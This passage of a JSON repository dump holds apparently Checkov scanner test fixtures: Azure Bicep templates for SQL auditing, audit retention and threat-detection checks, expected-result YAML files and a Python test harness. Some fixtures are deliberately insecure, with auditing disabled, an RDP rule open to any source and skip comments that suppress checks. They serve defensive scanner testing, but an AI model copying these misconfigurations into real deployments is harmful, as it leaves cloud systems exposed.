    "content": "// pass\n\nresource serverEnabled 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: resourceGroup().location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n\n  resource childEnabled 'auditingSettings' = {\n    name: 'default123'\n\n    properties: {\n      isAzureMonitorTargetEnabled: true\n      state: 'Enabled'\n    }\n  }\n}\n\nresource parentEnabled 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: resourceGroup().location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n}\n\nresource childEnabled 'Microsoft.Sql/servers/auditingSettings@2021-02-01-preview' = {\n  name: 'default'\n\n  parent: parentEnabled\n\n  properties: {\n    isAzureMonitorTargetEnabled: true\n    state: 'Enabled'\n  }\n}\n\nresource databaseEnabled 'Microsoft.Sql/servers/databases@2020-08-01-preview' = {\n  name: '${server.name}/${sqlDBName}'\n  location: location\n  sku: {\n    name: 'Standard'\n    tier: 'Standard'\n  }\n\n  resource childEnabled 'auditingSettings' = {\n    name: 'default123'\n\n    properties: {\n      isAzureMonitorTargetEnabled: true\n      state: 'Enabled'\n    }\n  }\n}\n\n// fail\n\nresource serverDefault 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: resourceGroup().location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n\n  resource childDefault 'auditingSettings' = {\n    name: 'default'\n\n    properties: {\n      isAzureMonitorTargetEnabled: true\n    }\n  }\n}\n\nresource parentDefault 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: resourceGroup().location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n}\n\nresource childDefault 'Microsoft.Sql/servers/auditingSettings@2021-02-01-preview' = {\n  name: 'default'\n\n  parent: parentDefault\n\n  properties: {\n    isAzureMonitorTargetEnabled: true\n  }\n}\n\nresource databaseDefault 'Microsoft.Sql/servers/databases@2020-08-01-preview' = {\n  name: '${server.name}/${sqlDBName}'\n  location: location\n  sku: {\n    name: 'Standard'\n    tier: 'Standard'\n  }\n\n  resource childDefault 'auditingSettings' = {\n    name: 'default123'\n\n    properties: {\n      isAzureMonitorTargetEnabled: true\n    }\n  }\n}\n\nresource serverDisabled 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: resourceGroup().location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n\n  resource childDisabled 'auditingSettings' = {\n    name: 'default'\n\n    properties: {\n      isAzureMonitorTargetEnabled: true\n      state: 'Disabled'\n    }\n  }\n}\n\nresource parentDisabled 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: resourceGroup().location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n}\n\nresource childDisabled 'Microsoft.Sql/servers/auditingSettings@2021-02-01-preview' = {\n  name: 'default'\n\n  parent: parentDefault\n\n  properties: {\n    isAzureMonitorTargetEnabled: true\n    state: 'Disabled'\n  }\n}\n\nresource databaseDisabled 'Microsoft.Sql/servers/databases@2020-08-01-preview' = {\n  name: '${server.name}/${sqlDBName}'\n  location: location\n  sku: {\n    name: 'Standard'\n    tier: 'Standard'\n  }\n\n  resource childDisabled 'auditingSettings' = {\n    name: 'default123'\n\n    properties: {\n      isAzureMonitorTargetEnabled: true\n      state: 'Disabled'\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/examples/loop.bicep",
    "content": "resource Disks 'Microsoft.Compute/disks@2022-07-02' = [for (disk, i) in dataDisks: {\n  name: disk.diskName\n  location: location\n  tags: tags\n  sku: {\n    name: disk.storageAccountType\n  }\n  zones: [\n    avZone\n  ]\n  properties: {\n    creationData: {\n      createOption: 'Empty'\n    }\n    diskSizeGB: disk.diskSizeGB\n    encryption: {\n      type: 'EncryptionAtRestWithCustomerKey'\n      diskEncryptionSetId: diskEncryptionSetId\n    }\n  }\n}]\n"
  },
  {
    "path": "tests/bicep/examples/malformed.bicep",
    "content": "param storageAccountType = 'Standard_LRS'\n"
  },
  {
    "path": "tests/bicep/examples/playground.bicep",
    "content": "@description('Virtual machine size (has to be at least the size of Standard_A3 to support 2 NICs)')\nparam virtualMachineSize string = 'Standard_DS1_v2'\n\n@description('Default Admin username')\nparam adminUsername string\n\n@description('Default Admin password')\n@secure()\nparam adminPassword string\n\n@description('Storage Account type for the VM and VM diagnostic storage')\n@allowed([\n  'Standard_LRS'\n  'Premium_LRS'\n])\nparam storageAccountType string = 'Standard_LRS'\n\n@description('Location for all resources.')\nparam location string = resourceGroup().location\n\nvar virtualMachineName = 'VM-MultiNic'\nvar nic1Name = 'nic-1'\nvar nic2Name = 'nic-2'\nvar virtualNetworkName = 'virtualNetwork'\nvar subnet1Name = 'subnet-1'\nvar subnet2Name = 'subnet-2'\nvar publicIPAddressName = 'publicIp'\nvar diagStorageAccountName = 'diags${uniqueString(resourceGroup().id)}'\nvar networkSecurityGroupName = 'NSG'\nvar networkSecurityGroupName2 = '${subnet2Name}-nsg'\n\n// This is the virtual machine that you're building.\nresource vm 'Microsoft.Compute/virtualMachines@2020-06-01' = {\n  name: virtualMachineName\n  location: location\n  properties: {\n    osProfile: {\n      computerName: virtualMachineName\n      adminUsername: adminUsername\n      adminPassword: adminPassword\n      windowsConfiguration: {\n        provisionVMAgent: true\n      }\n    }\n    hardwareProfile: {\n      vmSize: virtualMachineSize\n    }\n    storageProfile: {\n      imageReference: {\n        publisher: 'MicrosoftWindowsServer'\n        offer: 'WindowsServer'\n        sku: '2019-Datacenter'\n        version: 'latest'\n      }\n      osDisk: {\n        createOption: 'FromImage'\n      }\n    }\n    networkProfile: {\n      networkInterfaces: [\n        {\n          properties: {\n            primary: true\n          }\n          id: nic1.id\n        }\n        {\n          properties: {\n            primary: false\n          }\n          id: nic2.id\n        }\n      ]\n    }\n    diagnosticsProfile: {\n      bootDiagnostics: {\n        enabled: true\n        storageUri: diagsAccount.properties.primaryEndpoints.blob\n      }\n    }\n  }\n}\n\nresource diagsAccount 'Microsoft.Storage/storageAccounts@2019-06-01' = {\n  // checkov:skip=CKV_AZURE_35: just skip it\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n}\n\n// Simple Network Security Group for subnet2\nresource nsg2 'Microsoft.Network/networkSecurityGroups@2020-06-01' = {\n  name: networkSecurityGroupName2\n  location: location\n}\n\n// This will build a Virtual Network.\nresource vnet 'Microsoft.Network/virtualNetworks@2020-06-01' = {\n  name: virtualNetworkName\n  location: location\n  properties: {\n    addressSpace: {\n      addressPrefixes: [\n        '10.0.0.0/16'\n      ]\n    }\n    subnets: [\n      {\n        name: subnet1Name\n        properties: {\n          addressPrefix: '10.0.0.0/24'\n        }\n      }\n      {\n        name: subnet2Name\n        properties: {\n          addressPrefix: '10.0.1.0/24'\n          networkSecurityGroup: {\n            id: nsg2.id\n          }\n        }\n      }\n    ]\n  }\n}\n\n// This will be your Primary NIC\nresource nic1 'Microsoft.Network/networkInterfaces@2020-06-01' = {\n  name: nic1Name\n  location: location\n  properties: {\n    ipConfigurations: [\n      {\n        name: 'ipconfig1'\n        properties: {\n          subnet: {\n            id: resourceId('Microsoft.Network/virtualNetworks/subnets', vnet.name, subnet1Name)\n          }\n          privateIPAllocationMethod: 'Dynamic'\n          publicIPAddress: {\n            id: pip.id\n          }\n        }\n      }\n    ]\n    networkSecurityGroup: {\n      id: nsg.id\n    }\n  }\n}\n\n// This will be your Secondary NIC\nresource nic2 'Microsoft.Network/networkInterfaces@2020-06-01' = {\n  name: nic2Name\n  location: location\n  properties: {\n    ipConfigurations: [\n      {\n        name: 'ipconfig1'\n        properties: {\n          subnet: {\n            id: resourceId('Microsoft.Network/virtualNetworks/subnets', vnet.name, subnet2Name)\n          }\n          privateIPAllocationMethod: 'Dynamic'\n        }\n      }\n    ]\n  }\n}\n\n// Public IP for your Primary NIC\nresource pip 'Microsoft.Network/publicIPAddresses@2020-06-01' = {\n  name: publicIPAddressName\n  location: location\n  properties: {\n    publicIPAllocationMethod: 'Dynamic'\n  }\n}\n\n// Network Security Group (NSG) for your Primary NIC\nresource nsg 'Microsoft.Network/networkSecurityGroups@2020-06-01' = {\n  name: networkSecurityGroupName\n  location: location\n  properties: {\n    securityRules: [\n      {\n        name: 'default-allow-rdp'\n        properties: {\n          priority: 1000\n          sourceAddressPrefix: '*'\n          protocol: 'Tcp'\n          destinationPortRange: '3389'\n          access: 'Allow'\n          direction: 'Inbound'\n          sourcePortRange: '*'\n          destinationAddressPrefix: '*'\n        }\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "tests/bicep/graph/__init__.py",
    "content": ""
  },
  {
    "path": "tests/bicep/graph/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/bicep/graph/checks/resources/SQLServerAuditingEnabled/expected.yaml",
    "content": "pass:\n  - 'Microsoft.Sql/servers.serverEnabled'\n  - 'Microsoft.Sql/servers.parentEnabled'\n  - 'Microsoft.Sql/servers/databases.databaseEnabled'\nfail:\n  - 'Microsoft.Sql/servers.serverDefault'\n  - 'Microsoft.Sql/servers.parentDefault'\n  - 'Microsoft.Sql/servers.serverDisabled'\n  - 'Microsoft.Sql/servers.parentDisabled'\n  - 'Microsoft.Sql/servers/databases.databaseDefault'\n  - 'Microsoft.Sql/servers/databases.databaseDisabled'\nevaluated_keys:\n  - 'resource_type'\n  - 'properties/state'"
  },
  {
    "path": "tests/bicep/graph/checks/resources/SQLServerAuditingEnabled/main.bicep",
    "content": "// pass\n\nresource serverEnabled 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: resourceGroup().location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n\n  resource childEnabled 'auditingSettings' = {\n    name: 'default123'\n\n    properties: {\n      isAzureMonitorTargetEnabled: true\n      state: 'Enabled'\n    }\n  }\n}\n\nresource parentEnabled 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: resourceGroup().location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n}\n\nresource childEnabled 'Microsoft.Sql/servers/auditingSettings@2021-02-01-preview' = {\n  name: 'default'\n\n  parent: parentEnabled\n\n  properties: {\n    isAzureMonitorTargetEnabled: true\n    state: 'Enabled'\n  }\n}\n\nresource databaseEnabled 'Microsoft.Sql/servers/databases@2020-08-01-preview' = {\n  name: '${server.name}/${sqlDBName}'\n  location: location\n  sku: {\n    name: 'Standard'\n    tier: 'Standard'\n  }\n\n  resource childEnabled 'auditingSettings' = {\n    name: 'default123'\n\n    properties: {\n      isAzureMonitorTargetEnabled: true\n      state: 'Enabled'\n    }\n  }\n}\n\n// fail\n\nresource serverDefault 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: resourceGroup().location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n\n  resource childDefault 'auditingSettings' = {\n    name: 'default'\n\n    properties: {\n      isAzureMonitorTargetEnabled: true\n    }\n  }\n}\n\nresource parentDefault 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: resourceGroup().location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n}\n\nresource childDefault 'Microsoft.Sql/servers/auditingSettings@2021-02-01-preview' = {\n  name: 'default'\n\n  parent: parentDefault\n\n  properties: {\n    isAzureMonitorTargetEnabled: true\n  }\n}\n\nresource databaseDefault 'Microsoft.Sql/servers/databases@2020-08-01-preview' = {\n  name: '${server.name}/${sqlDBName}'\n  location: location\n  sku: {\n    name: 'Standard'\n    tier: 'Standard'\n  }\n\n  resource childDefault 'auditingSettings' = {\n    name: 'default123'\n\n    properties: {\n      isAzureMonitorTargetEnabled: true\n    }\n  }\n}\n\nresource serverDisabled 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: resourceGroup().location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n\n  resource childDisabled 'auditingSettings' = {\n    name: 'default'\n\n    properties: {\n      isAzureMonitorTargetEnabled: true\n      state: 'Disabled'\n    }\n  }\n}\n\nresource parentDisabled 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: resourceGroup().location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n}\n\nresource childDisabled 'Microsoft.Sql/servers/auditingSettings@2021-02-01-preview' = {\n  name: 'default'\n\n  parent: parentDefault\n\n  properties: {\n    isAzureMonitorTargetEnabled: true\n    state: 'Disabled'\n  }\n}\n\nresource databaseDisabled 'Microsoft.Sql/servers/databases@2020-08-01-preview' = {\n  name: '${server.name}/${sqlDBName}'\n  location: location\n  sku: {\n    name: 'Standard'\n    tier: 'Standard'\n  }\n\n  resource childDisabled 'auditingSettings' = {\n    name: 'default123'\n\n    properties: {\n      isAzureMonitorTargetEnabled: true\n      state: 'Disabled'\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/graph/checks/resources/SQLServerAuditingRetention90Days/expected.yaml",
    "content": "pass:\n  - 'Microsoft.Sql/servers.sqlServer_pass'\nfail:\n  - 'Microsoft.Sql/servers.sqlServer_fail1'\n  - 'Microsoft.Sql/servers.sqlServer_fail2'\n  - 'Microsoft.Sql/servers.sqlServer_fail3'\nevaluated_keys:\n  - 'properties/retentionDays'\n  - 'properties/state'\n  - 'resource_type'"
  },
  {
    "path": "tests/bicep/graph/checks/resources/SQLServerAuditingRetention90Days/fail1_less_90.bicep",
    "content": "resource sqlServer_fail1 'Microsoft.Sql/servers@2023-05-01-preview' = {  \r\n  name: sqlServerName\r\n}\r\n\r\n/// SQL Auditing\r\n\r\nresource sql_auditing_fail1 'Microsoft.Sql/servers/auditingSettings@2023-05-01-preview' = {\r\n  name: 'default'\r\n  parent: sqlServer_fail1\r\n  properties: {\r\n    isAzureMonitorTargetEnabled: true\r\n    retentionDays: 67\r\n    state: 'Enabled'\r\n  }\r\n}\r\n"
  },
  {
    "path": "tests/bicep/graph/checks/resources/SQLServerAuditingRetention90Days/fail2_no_auditsettings.bicep",
    "content": "resource sqlServer_fail2 'Microsoft.Sql/servers@2023-05-01-preview' = {  \r\n  name: sqlServerName\r\n}\r\n\r\n/// No SQL Audit Settings\r\n"
  },
  {
    "path": "tests/bicep/graph/checks/resources/SQLServerAuditingRetention90Days/fail3_not_enabled.bicep",
    "content": "resource sqlServer_fail3 'Microsoft.Sql/servers@2023-05-01-preview' = {  \r\n  name: sqlServerName\r\n}\r\n\r\n/// SQL Auditing\r\n\r\nresource sql_auditing_fail3 'Microsoft.Sql/servers/auditingSettings@2023-05-01-preview' = {\r\n  name: 'default'\r\n  parent: sqlServer_fail3\r\n  properties: {\r\n    isAzureMonitorTargetEnabled: true\r\n    retentionDays: 92\r\n    state: 'Disabled'\r\n  }\r\n}\r\n"
  },
  {
    "path": "tests/bicep/graph/checks/resources/SQLServerAuditingRetention90Days/pass1.bicep",
    "content": "resource sqlServer_pass 'Microsoft.Sql/servers@2023-05-01-preview' = {  \r\n  name: sqlServerName\r\n}\r\n\r\n/// SQL Auditing\r\n\r\nresource sql_auditing_pass 'Microsoft.Sql/servers/auditingSettings@2023-05-01-preview' = {\r\n  name: 'default'\r\n  parent: sqlServer_pass\r\n  properties: {\r\n    isAzureMonitorTargetEnabled: true\r\n    retentionDays: 92\r\n    state: 'Enabled'\r\n  }\r\n}\r\n"
  },
  {
    "path": "tests/bicep/graph/checks/resources/SQLServerThreatDetectionTypes/expected.yaml",
    "content": "pass:\n  - 'Microsoft.Sql/servers.serverEnabled'\n  - 'Microsoft.Sql/servers.serverEnabledWithoutAlertsAttribute'\n  - 'Microsoft.Sql/servers/databases.databaseEnabled'\n  - 'Microsoft.Sql/servers/databases.databaseEnabledWithoutAlertsAttribute'\nfail:\n  - 'Microsoft.Sql/servers.serverWithoutSecurityPolicy'\n  - 'Microsoft.Sql/servers.serverDisabledState'\n  - 'Microsoft.Sql/servers.serverDisabledAlerts'\n  - 'Microsoft.Sql/servers.serverDisabled'\n  - 'Microsoft.Sql/servers/databases.databaseWithoutSecurityPolicy'\n  - 'Microsoft.Sql/servers/databases.databaseDisabledState'\n  - 'Microsoft.Sql/servers/databases.databaseDisabledAlerts'\n  - 'Microsoft.Sql/servers/databases.databaseDisabled'\nevaluated_keys:\n  - 'resource_type'\n  - 'properties/state'\n  - 'properties/disabledAlerts'"
  },
  {
    "path": "tests/bicep/graph/checks/resources/SQLServerThreatDetectionTypes/main.bicep",
    "content": "// pass\nresource serverEnabled 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n\n  resource securityAlertPolicyEnabled 'securityAlertPolicies' = {\n    name: 'default'\n    properties: {\n      state: 'Enabled'\n      disabledAlerts: [\n      ]\n    }\n  }\n}\n\nresource serverEnabledWithoutAlertsAttribute 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n\n  resource securityAlertPolicyEnabled 'securityAlertPolicies' = {\n    name: 'default'\n    properties: {\n      state: 'Enabled'\n    }\n  }\n}\n\nresource databaseEnabled 'Microsoft.Sql/servers/databases@2023-08-01-preview' = {\n  name: '${server.name}/${sqlDBName}'\n  location: location\n  sku: {\n    name: 'GP_S_Gen5_2'\n    tier: 'GeneralPurpose'\n  }\n\n  resource securityAlertPolicyEnabled 'securityAlertPolicies' = {\n    name: 'default'\n    properties: {\n      state: 'Enabled'\n      disabledAlerts: [\n      ]\n    }\n  }\n}\n\nresource databaseEnabledWithoutAlertsAttribute 'Microsoft.Sql/servers/databases@2023-08-01-preview' = {\n  name: '${server.name}/${sqlDBName}'\n  location: location\n  sku: {\n    name: 'GP_S_Gen5_2'\n    tier: 'GeneralPurpose'\n  }\n\n  resource securityAlertPolicyEnabled 'securityAlertPolicies' = {\n    name: 'default'\n    properties: {\n      state: 'Enabled'\n    }\n  }\n}\n\n// fail\nresource serverWithoutSecurityPolicy 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n}\n\nresource serverDisabledState 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n\n  resource securityAlertPolicyEnabled 'securityAlertPolicies' = {\n    name: 'default'\n    properties: {\n      state: 'Disabled'\n      disabledAlerts: [\n      ]\n    }\n  }\n}\n\nresource serverDisabledAlerts 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n\n  resource securityAlertPolicyEnabled 'securityAlertPolicies' = {\n    name: 'default'\n    properties: {\n      state: 'Enabled'\n      disabledAlerts: [\n        'disabledAlert'\n      ]\n    }\n  }\n}\n\nresource serverDisabled 'Microsoft.Sql/servers@2021-02-01-preview' = {\n  name: 'default'\n  location: location\n\n  properties: {\n    administratorLogin: sqlLogicalServer.userName\n    administratorLoginPassword: password\n    version: '12.0'\n    minimalTlsVersion: sqlLogicalServer.minimalTlsVersion\n    publicNetworkAccess: sqlLogicalServer.publicNetworkAccess\n  }\n\n  resource securityAlertPolicyEnabled 'securityAlertPolicies' = {\n    name: 'default'\n    properties: {\n      state: 'Disabled'\n      disabledAlerts: [\n        'disabledAlert'\n      ]\n    }\n  }\n}\n\nresource databaseWithoutSecurityPolicy 'Microsoft.Sql/servers/databases@2023-08-01-preview' = {\n  name: '${server.name}/${sqlDBName}'\n  location: location\n  sku: {\n    name: 'GP_S_Gen5_2'\n    tier: 'GeneralPurpose'\n  }\n}\n\nresource databaseDisabledState 'Microsoft.Sql/servers/databases@2023-08-01-preview' = {\n  name: '${server.name}/${sqlDBName}'\n  location: location\n  sku: {\n    name: 'GP_S_Gen5_2'\n    tier: 'GeneralPurpose'\n  }\n\n  resource securityAlertPolicyDisabledAlerts 'securityAlertPolicies' = {\n    name: 'default'\n    properties: {\n      state: 'Disabled'\n      disabledAlerts: [\n      ]\n    }\n  }\n}\n\nresource databaseDisabledAlerts 'Microsoft.Sql/servers/databases@2023-08-01-preview' = {\n  name: '${server.name}/${sqlDBName}'\n  location: location\n  sku: {\n    name: 'GP_S_Gen5_2'\n    tier: 'GeneralPurpose'\n  }\n\n  resource securityAlertPolicyDisabledAlerts 'securityAlertPolicies' = {\n    name: 'default'\n    properties: {\n      state: 'Enabled'\n      disabledAlerts: [\n        'disabledAlert'\n      ]\n    }\n  }\n}\n\nresource databaseDisabled 'Microsoft.Sql/servers/databases@2023-08-01-preview' = {\n  name: '${server.name}/${sqlDBName}'\n  location: location\n  sku: {\n    name: 'GP_S_Gen5_2'\n    tier: 'GeneralPurpose'\n  }\n\n  resource securityAlertPolicy 'securityAlertPolicies' = {\n    name: 'default'\n    properties: {\n      state: 'Disabled'\n      disabledAlerts: [\n        'disabledAlert'\n      ]\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/bicep/graph/checks/resources/__init__.py",
    "content": ""
  },
  {
    "path": "tests/bicep/graph/checks/test_yaml_policies.py",
    "content": "import warnings\nfrom pathlib import Path\nfrom typing import List\n\nfrom checkov.bicep.graph_manager import BicepGraphManager\nfrom parameterized import parameterized_class\nfrom tests.graph_utils.utils import set_db_connector_by_graph_framework, PARAMETERIZED_GRAPH_FRAMEWORKS\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom tests.common.graph.checks.test_yaml_policies_base import TestYamlPoliciesBase\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestYamlPolicies(TestYamlPoliciesBase):\n    def __init__(self, args):\n        db_connector = set_db_connector_by_graph_framework(self.graph_framework)\n        graph_manager = BicepGraphManager(db_connector=db_connector)\n        super().__init__(\n            graph_manager=graph_manager,\n            real_graph_checks_path=str(\n                Path(__file__).parent.parent.parent.parent.parent / \"checkov/bicep/checks/graph_checks\"\n            ),\n            test_checks_path=\"\",\n            check_type=\"bicep\",\n            test_file_path=__file__,\n            args=args,\n        )\n\n    def setUp(self) -> None:\n        warnings.filterwarnings(\"ignore\", category=ResourceWarning)\n        warnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\n    def test_SQLServerAuditingEnabled(self):\n        self.go(\"SQLServerAuditingEnabled\")\n\n    def test_SQLServerAuditingRetention90Days(self):\n        self.go(\"SQLServerAuditingRetention90Days\")\n\n    def test_SQLServerThreatDetectionTypes(self):\n        self.go(\"SQLServerThreatDetectionTypes\")\n\n    def test_registry_load(self):\n        registry = self.get_checks_registry()\n        self.assertGreater(len(registry.checks), 0)\n\n    def assert_evaluated_keys(self, expected_evaluated_keys: List[str], results: List[Record]):\n        evaluated_keys_results = results[0].check_result[\"evaluated_keys\"]\n        self.assertCountEqual(expected_evaluated_keys, evaluated_keys_results)\n\n    def create_report_from_graph_checks_results(self, checks_results, check):\n        report = Report(CheckType.BICEP)\n        first_results_key = list(checks_results.keys())[0]\n        for check_result in checks_results[first_results_key]:\n            entity = check_result[\"entity\"]\n            record = Record(\n                check_id=check[\"id\"],\n                check_name=check[\"name\"],\n                check_result=check_result,\n                code_block=[(0, \"\")],\n                file_path=entity.get(CustomAttributes.FILE_PATH),\n                file_line_range=[entity.get(\"__startline__\"), entity.get(\"__endline__\")],\n                resource=f\"{entity.get(CustomAttributes.RESOURCE_TYPE)}.{entity.get(CustomAttributes.BLOCK_NAME)}\",\n                entity_tags=entity.get(\"tags\", {}),\n                evaluations=None,\n                check_class=\"\",\n                file_abs_path=entity.get(CustomAttributes.FILE_PATH),\n            )\n            if check_result[\"result\"] == CheckResult.PASSED:\n                report.passed_checks.append(record)\n            if check_result[\"result\"] == CheckResult.FAILED:\n                report.failed_checks.append(record)\n        return report\n"
  },
  {
    "path": "tests/bicep/graph/definitions_context/resources/definitions_example1.bicep",
    "content": "@description('Virtual machine size (has to be at least the size of Standard_A3 to support 2 NICs)')\nparam virtualMachineSize string = 'Standard_DS1_v2'\n\n@description('Default Admin username')\nparam adminUsername string\n\n@description('Default Admin password')\n@secure()\nparam adminPassword string\n\n@description('Storage Account type for the VM and VM diagnostic storage')\n@allowed([\n  'Standard_LRS'\n  'Premium_LRS'\n])\nparam storageAccountType string = 'Standard_LRS'\n\n@description('Location for all resources.')\nparam location string = resourceGroup().location\n\nvar virtualMachineName = 'VM-MultiNic'\nvar nic1Name = 'nic-1'\nvar nic2Name = 'nic-2'\nvar virtualNetworkName = 'virtualNetwork'\nvar subnet1Name = 'subnet-1'\nvar subnet2Name = 'subnet-2'\nvar publicIPAddressName = 'publicIp'\nvar diagStorageAccountName = 'diags${uniqueString(resourceGroup().id)}'\nvar networkSecurityGroupName = 'NSG'\nvar networkSecurityGroupName2 = '${subnet2Name}-nsg'\n\n// This is the virtual machine that you're building.\nresource vm 'Microsoft.Compute/virtualMachines@2020-06-01' = {\n  name: virtualMachineName\n  location: location\n  properties: {\n    osProfile: {\n      computerName: virtualMachineName\n      adminUsername: adminUsername\n      adminPassword: adminPassword\n      windowsConfiguration: {\n        provisionVMAgent: true\n      }\n    }\n    hardwareProfile: {\n      vmSize: virtualMachineSize\n    }\n    storageProfile: {\n      imageReference: {\n        publisher: 'MicrosoftWindowsServer'\n        offer: 'WindowsServer'\n        sku: '2019-Datacenter'\n        version: 'latest'\n      }\n      osDisk: {\n        createOption: 'FromImage'\n      }\n    }\n    networkProfile: {\n      networkInterfaces: [\n        {\n          properties: {\n            primary: true\n          }\n          id: nic1.id\n        }\n        {\n          properties: {\n            primary: false\n          }\n          id: nic2.id\n        }\n      ]\n    }\n    diagnosticsProfile: {\n      bootDiagnostics: {\n        enabled: true\n        storageUri: diagsAccount.properties.primaryEndpoints.blob\n      }\n    }\n  }\n}\n\nresource diagsAccount 'Microsoft.Storage/storageAccounts@2019-06-01' = {\n  // checkov:skip=CKV_AZURE_35: just skip it\n  // checkov:skip=CKV_AZURE_36: skip that too\n  name: diagStorageAccountName\n  location: location\n  sku: {\n    name: storageAccountType\n  }\n  kind: 'StorageV2'\n}\n\n// Simple Network Security Group for subnet2\nresource nsg2 'Microsoft.Network/networkSecurityGroups@2020-06-01' = {\n  name: networkSecurityGroupName2\n  location: location\n}\n\n// This will build a Virtual Network.\nresource vnet 'Microsoft.Network/virtualNetworks@2020-06-01' = {\n  name: virtualNetworkName\n  location: location\n  properties: {\n    addressSpace: {\n      addressPrefixes: [\n        